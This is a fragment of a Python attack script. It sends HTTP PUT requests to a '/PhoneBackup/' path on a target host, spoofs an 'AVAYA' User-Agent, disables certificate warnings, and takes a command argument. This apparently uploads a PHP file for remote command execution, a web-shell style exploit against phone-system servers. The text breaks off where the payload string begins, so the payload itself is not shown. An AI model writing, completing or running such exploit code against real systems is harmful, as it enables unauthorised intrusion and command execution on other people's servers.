#!/usr/bin/env python3 import requests import argparse import random import string import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def generate_random_filename(): return ''.join(random.choices(string.digits, k=8)) def send_put_request(hostname, query_command): random_filename = generate_random_filename() url = f"https://{hostname}/PhoneBackup/{random_filename}.php" headers = { "Upgrade-Insecure-Requests": "1", "User-Agent": "AVAYA", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close" } payload = f"